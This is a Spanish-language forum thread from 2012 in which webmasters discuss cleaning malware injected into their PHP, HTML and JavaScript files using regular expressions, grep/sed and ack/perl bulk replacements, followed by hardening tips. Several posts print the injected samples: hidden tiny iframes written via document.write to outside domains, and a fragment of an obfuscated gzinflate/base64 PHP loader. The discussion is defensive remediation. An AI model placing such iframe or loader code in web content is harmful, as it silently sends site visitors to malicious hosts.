Foros del Web » Soporte técnico » Virus, troyanos y spyware »

Malware en Archivos Web. Solucionar con Expresion Regular

Estas en el tema de Malware en Archivos Web. Solucionar con Expresion Regular en el foro de Virus, troyanos y spyware en Foros del Web. Buenos dias. Tengo una pagina alojada en en un servidor y fui atacado con malware (codigo malicioso) que inyectaron en mis archivos. Algunos de los ...
  #1 (permalink)  
Antiguo 09/07/2012, 14:54
 
Fecha de Ingreso: febrero-2011
Mensajes: 13
Antigüedad: 13 años, 10 meses
Puntos: 5
Malware en Archivos Web. Solucionar con Expresion Regular

Buenos dias.

Tengo una pagina alojada en en un servidor y fui atacado con malware (codigo malicioso) que inyectaron en mis archivos.

Algunos de los archivos infectados son:
index.php
index.html
.htaccess
footer.php
header.php

Ya tengo identificado el codigo, hay 3 tipos, pero todos tiene una particularidad de estar encerrados entre unos comentarios tipo

Código PHP:
#c3284d# 
Código PHP:
#c3284d#
aqui esta el codigo malicioso
en multiples lineas y con mucho codigo javascript o php o html
#/c3284d# 
Para solucionar mi problema estoy tratando de hacer una EXPRESIÓN REGULAR cosa que pueda hacer una búsqueda dentro de todos mis archivos y reemplace todo lo que este dentro de los comentarios incluyendo estos por un espacio en blanco.

El problema es que no he podido hallar la expresión correcta, lo que mas se ha acercado es lo siguiente.

Código:
#c3284d#(?s)(.*?)#/c3284d#
Esa expresion funciona en Sublime Text y en la pagina http://www.gskinner.com/RegExr/ pero no funciona en otros programas con los que voy a hacer los arreglos, como son Dreamweaver o Text Workbench.

También me dicen que se puede hacer con Notepad++ pero no he tenido tiempo de revisar.

Aclaro que manualmente hacerlo uno por uno no es una opción ya que tengo mas de 10k de archivos en ese servidor.

Gracias por su atención
  #2 (permalink)  
Antiguo 21/07/2012, 15:53
 
Fecha de Ingreso: agosto-2001
Mensajes: 63
Antigüedad: 23 años, 3 meses
Puntos: 0
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Hola tengo el mismo problema en joomla 1.7. La web desaparece , se queda parada , en blanco, puedo entrar al administrator, puedo ver paginas internas, pero la principal no. Google webmaster me envio un mensaje comunicandomelo.
Luego encontre el código en la template, index.php.
#c3284d#

Otro problema que me da, y es buscandolo por gooogle al pulsar el enlace va a otra web de las de enlace publicitario.
Lo que hice fue borrar todo, cambiar todas las claves ftp, bd, y le perdí al hosting arsys.es que me borre todos los archivos, ya que algunos no me dejama desde mi ftp. Instale el joomla 2.5 ultima versión. y durante 5 dias ok, pero ha vuelto el otroa vez. No sé que hacer. Ahora estoy pensando y buscando que puede ser.
  #3 (permalink)  
Antiguo 21/07/2012, 16:29
 
Fecha de Ingreso: febrero-2011
Mensajes: 13
Antigüedad: 13 años, 10 meses
Puntos: 5
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Hola. Tienes que revisar que no tengas otras instalaciones de Wordpress o Joomla o algún otro CMS des-actualizado, si es asi actualiza.

Revisa tu pc que no tengas Spyware, porque el cambio de las claves no sirve si tienes esto.

La mejor solución creo que es hacer un script PHP, anoche alguien me paso un JAVA file para que apoyara en el

Código:
String test="Antes no hay nada#c3284d#"+ "aqui esta el codigo malicioso"+ "en multiples lineas y con mucho codigo javascript o php o html"+ "#/c3284d# despues tampoco"; 

Pattern pat = Pattern.compile("#c3284d#(?s)(.*?)#/c3284d#"); 

Matcher mat = pat.matcher(test); 

String resul = mat.replaceAll("MUNDO");
Ya estoy haciendo el equivalente en PHP y hasta ahora voy aquí, solo le trabaje 30 minuticos esta mañana porque no he tenido tiempo, pero ya comprobé que por lo menos encuentra la cadena.

Esto es lo que tengo

Código PHP:
ob_start();
include(
'MALWARE.txt'); ## Archivo Contagiado
$out ob_get_contents();
ob_end_clean();


$delimiter '#'// Delimitador 
$startTag 'c3284d'
$endTag '/c3284d';
$regex $delimiter preg_quote($startTag$delimiter
                    . 
'(.*?)' 
                    
preg_quote($endTag$delimiter
                    . 
$delimiter 
                    
's';
$check preg_match($regex,$out,$matches);

if ( 
$check 
{
    echo 
"Match was found <br />";
      echo 
$matches[0];
}
else
{
    echo 
"Not Found";

Saludos
  #4 (permalink)  
Antiguo 04/09/2012, 06:21
 
Fecha de Ingreso: septiembre-2012
Mensajes: 1
Antigüedad: 12 años, 3 meses
Puntos: 0
Mensaje Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Buenas, tengo un caso similar pero en mi caso me han inyectado código en mis archivos js, el problema es que tengo como 20 webs, entre Wordpress Drupal y php puro, de momento estoy comprobando uno por uno pero se os ocurre una solución mejor?

La linea por si a alguien le ocurre lo mismo es esta:

document.write('<iframe src="http://orderedvalidation.ru/properties?8" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');

Muchas gracias!
  #5 (permalink)  
Antiguo 04/09/2012, 16:42
 
Fecha de Ingreso: mayo-2006
Mensajes: 475
Antigüedad: 18 años, 7 meses
Puntos: 58
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Hola casi todos son similares y según parece viene provocado al utilizar filezilla para subir tus webs (no sé si es tu caso) ya que filezilla no encripta los datos y se guardan sin más. Aunque ya son bastantes los antivirus que lo detectan la solución pasa por descargar todos los archivos, borrar el código malicioso, escanear en busca de posible malware en PC, cambiar contraseñas FTP y volver a colocar los sitios sin usar filezilla.
A m i me ha pasado lo mismo en unos 15 sitios e hice esto y me funcionó perfectamente. No se han vuelto a reproducir, cosa que si pasaba cuando utilizaba de nuevo el famoso programa para subir el sitio en cuestión.
  #6 (permalink)  
Antiguo 05/09/2012, 06:27
Avatar de Datacenter1
Usuario no validado
 
Fecha de Ingreso: agosto-2005
Ubicación: Chicago
Mensajes: 1.982
Antigüedad: 19 años, 4 meses
Puntos: 144
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Cita:
Iniciado por polsola Ver Mensaje
Buenas, tengo un caso similar pero en mi caso me han inyectado código en mis archivos js, el problema es que tengo como 20 webs, entre Wordpress Drupal y php puro, de momento estoy comprobando uno por uno pero se os ocurre una solución mejor?

La linea por si a alguien le ocurre lo mismo es esta:

document.write('<iframe src="http://orderedvalidation.ru/properties?8" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');

Muchas gracias!
Si tienes acceso a consola un comando los mostrados arriba o este

Código:
grep -Rl "orderedvalidation.ru" /home/ | while read filename ; do sed '/orderedvalidation.ru/d' $filename > tmpfile ;/bin/cp -pf tmpfile $filename ; done
eliminará todas las líneas en donde aparece la cadena orderedvalidation.ru recursivamente en el directorio /home

Adicionalmente cambia a FTP seguro y manten actualizados tus cms y plugins
  #7 (permalink)  
Antiguo 19/10/2012, 08:53
 
Fecha de Ingreso: diciembre-2007
Mensajes: 6
Antigüedad: 17 años
Puntos: 1
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Hola en mi caso también todos los archivos .js han sido infectados y como el caso anterior se tratan de miles de archivos, ahora si aplico lo que @Datacenter1 nos comenta que pasará si la línea de código viene junta con el resto de código limpio:

Código Javascript:
Ver original
  1. document.write('<iframe src="http://plancentrallaura.org/Lexmark?8" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

Código Javascript:
Ver original
  1. ...("...list").wpList({alt:"",response:"cat-ajax-response",confirm:a})});document.write('<iframe src="http://plancentrallaura.org/Lexmark?8" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

El primero de trata del código iframe insertado, el mismo en todos los archivos. En el segundo es un ejemplo en donde el iframe ha sido insertado en la misma línea del código limpio, al aplicar tu idea eliminaría toda la línea??

Espero tu pronta respuesta, saludos.
  #8 (permalink)  
Antiguo 19/10/2012, 08:57
Avatar de Datacenter1
Usuario no validado
 
Fecha de Ingreso: agosto-2005
Ubicación: Chicago
Mensajes: 1.982
Antigüedad: 19 años, 4 meses
Puntos: 144
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Si, eliminará toda la línea

Si tienes código malicioso + código válido en la misma línea no uses el comando que he sugerido arriba
  #9 (permalink)  
Antiguo 19/10/2012, 13:35
 
Fecha de Ingreso: diciembre-2007
Mensajes: 6
Antigüedad: 17 años
Puntos: 1
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Felizmente pregunte antes de aplicarlo :)

Gracias por la pronta respuesta.

Por otro lado encontré este artículo:
http://oscarif.wordpress.com/2009/08/04/eliminacion-automatica-de-iframe-oculto/

Allí nos comparte éste archivo:
http://busquenoseninternet.com/cleaniframe.zip

La cosa es adaptar el iframe al caso de cada uno, alguien me podría echar una mano con la expresión regular en mi caso?

Código Javascript:
Ver original
  1. document.write('<iframe src="http://plancentrallaura.org/Lexmark?8" scrolling="auto" frameborder="no" align="center" height="5" width="5"></iframe>');

El último ataque iframe que recibí fue:
Código Javascript:
Ver original
  1. document.write('<iframe src="http://msn.com" scrolling="auto" frameborder="no" align="center" height="7" width="7"></iframe>');

Saludos.
  #10 (permalink)  
Antiguo 19/10/2012, 13:50
 
Fecha de Ingreso: diciembre-2007
Mensajes: 6
Antigüedad: 17 años
Puntos: 1
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Aquí les comparto esta web que ayuda a detectar código malicioso entre otras cosas:

http://sitecheck.sucuri.net/scanner/

Saludos.
  #11 (permalink)  
Antiguo 19/10/2012, 20:45
Avatar de Datacenter1
Usuario no validado
 
Fecha de Ingreso: agosto-2005
Ubicación: Chicago
Mensajes: 1.982
Antigüedad: 19 años, 4 meses
Puntos: 144
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Hola @Javier101 lo lograste resolver?

Hoy tuve un día pesado por eso no puede ayudar más, si aún no has salido de eso puedo ayudarte a preparar el comando apropiado
  #12 (permalink)  
Antiguo 22/10/2012, 14:24
 
Fecha de Ingreso: febrero-2011
Mensajes: 13
Antigüedad: 13 años, 10 meses
Puntos: 5
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Despues de mucho tiempo por fin pude solucionar lo que necesitaba.

!Impotante : Tener en cuenta que los comandos de búsqueda y reemplazo es muy poderoso porque busca en TODOS los archivos y subcarpetas, una vez ejecutados no se puedes deshacer, por lo que es muy importante estar muy seguro de que ese es el reemplazo que se quiere hacer, sugiero crear un carpeta y probar dentro de esta.

1. Tener acceso por SSH al host

2. Intalar ack
ack es un comando muy poderoso para linux que nos permite hacer busquedas dentro de los archivos y subcarpetas de manera muy facil.
http://betterthangrep.com/
Intalacion
Código:
curl http://betterthangrep.com/ack-standalone > ~/bin/ack && chmod 0755 !#:3
Uso (cuando es expresion regular la busqueda deber ir en comillas simples)
Código:
ack SEARCH
ack 'SEARCH'
3. Expresion Regular
Creamos nuestra expresion regular en mi caso encontra una que busca 1 o varias palabras dentro de UNA LINES de codigo. El ejemplo de aqui busca 3 palabras.
http://www.regular-expressions.info/completelines.html
Código:
^.*\b(SEARCH1|SEARCH2|SEARCH3)\b.*$

4. Buscar y Remplazar con ack y xargs

Esta es la lines de comando para buscar y reemplazar con ack
Código:
ack -l 'SEARCH' | xargs perl -pi -E 's/SEARCH/REPLACE/g'
5. EJECUCION !Impotante
Combinamos el 3. y 4. para tener las linea de comando completa que debemos ejecutar.
Código:
ack -l '^.*\b(SEARCH1|SEARCH2|SEARCH3)\b.*$' | xargs perl -pi -E 's/^.*\b(SEARCH1|SEARCH2|SEARCH3)\b.*$/REPLACE/g'
 . 
En mi caso tuve que ejecutar 2 lineas de comando; una para los archivos PHP y otra para los HTML donde la inserción de código malicioso se hacia a través de javascript simpre teniendo mucho cuidado con las etiquetas de ambos lenguajes.

Otro punto a tener en cuenta es que los reemplazos que yo hice los hice por una linea de caracteres única para verificar manualmente que los archivos que estaban contaminados realmente quedaran limpios.
Ejem:
Código:
antes: echo(gzinflate(base64_decode("JY5NDsIgEIX3Jr0DmU11UxK

Despues : //comentario_Archivo_Limpio
Saludos
  #13 (permalink)  
Antiguo 22/10/2012, 14:44
Avatar de Datacenter1
Usuario no validado
 
Fecha de Ingreso: agosto-2005
Ubicación: Chicago
Mensajes: 1.982
Antigüedad: 19 años, 4 meses
Puntos: 144
Respuesta: Malware en Archivos Web. Solucionar con Expresion Regular

Excelente, te mandaste todo un tutorial, ahora lo más importante evitar volver a tener una infección:

- Utiliza FTP seguro y clientes de FTP que no guarden las contraseñas en texto plano
- Manten actualizados tus scripts
- Evita permisos 777, normalmente 755 en dir y 644 en archivos es suficiente
- Instala mod_security con un buen set de reglas *
- Desactiva las funciones php peligrosas*

* En vps y servidores, en compartidos, le corresponde al proveedor

Etiquetas: expresion, malware, regular, solucionar
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 07:56.